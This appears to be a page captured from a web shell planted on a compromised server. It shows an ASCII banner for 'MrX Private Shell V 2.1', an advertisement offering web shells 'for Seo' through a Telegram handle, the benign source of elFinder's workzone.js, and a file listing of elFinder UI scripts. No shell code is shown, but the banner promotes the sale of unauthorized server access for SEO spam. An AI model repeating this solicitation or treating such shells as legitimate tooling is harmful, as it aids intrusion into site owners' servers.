__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/**
* @class elfinderworkzone - elFinder container for nav and current directory
* @author Dmitry (dio) Levashov
**/
jQuery.fn.elfinderworkzone = function(fm) {
"use strict";
var cl = 'elfinder-workzone';
this.not('.'+cl).each(function() {
var wz = jQuery(this).addClass(cl),
prevH = Math.round(wz.height()),
parent = wz.parent(),
setDelta = function() {
wdelta = wz.outerHeight(true) - wz.height();
},
fitsize = function(e) {
var height = parent.height() - wdelta,
style = parent.attr('style'),
curH = Math.round(wz.height());
if (e) {
e.preventDefault();
e.stopPropagation();
}
parent.css('overflow', 'hidden')
.children(':visible:not(.'+cl+')').each(function() {
var ch = jQuery(this);
if (ch.css('position') != 'absolute' && ch.css('position') != 'fixed') {
height -= ch.outerHeight(true);
}
});
parent.attr('style', style || '');
height = Math.max(0, Math.round(height));
if (prevH !== height || curH !== height) {
prevH = Math.round(wz.height());
wz.height(height);
fm.trigger('wzresize');
}
},
cssloaded = function() {
wdelta = wz.outerHeight(true) - wz.height();
fitsize();
},
wdelta;
setDelta();
parent.on('resize.' + fm.namespace, fitsize);
fm.one('cssloaded', cssloaded)
.bind('uiresize', fitsize)
.bind('themechange', setDelta);
});
return this;
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| button.js | File | 4.12 KB | 0640 |
|
| contextmenu.js | File | 21.45 KB | 0640 |
|
| cwd.js | File | 87.65 KB | 0640 |
|
| dialog.js | File | 26.2 KB | 0640 |
|
| fullscreenbutton.js | File | 634 B | 0640 |
|
| navbar.js | File | 5.22 KB | 0640 |
|
| navdock.js | File | 4.37 KB | 0640 |
|
| overlay.js | File | 969 B | 0640 |
|
| panel.js | File | 559 B | 0640 |
|
| path.js | File | 5.22 KB | 0640 |
|
| places.js | File | 16.2 KB | 0640 |
|
| searchbutton.js | File | 10.05 KB | 0640 |
|
| sortbutton.js | File | 3.66 KB | 0640 |
|
| stat.js | File | 3.4 KB | 0640 |
|
| toast.js | File | 2.63 KB | 0640 |
|
| toolbar.js | File | 9.86 KB | 0640 |
|
| tree.js | File | 40.6 KB | 0640 |
|
| uploadButton.js | File | 1.05 KB | 0640 |
|
| viewbutton.js | File | 770 B | 0640 |
|
| workzone.js | File | 1.42 KB | 0640 |
|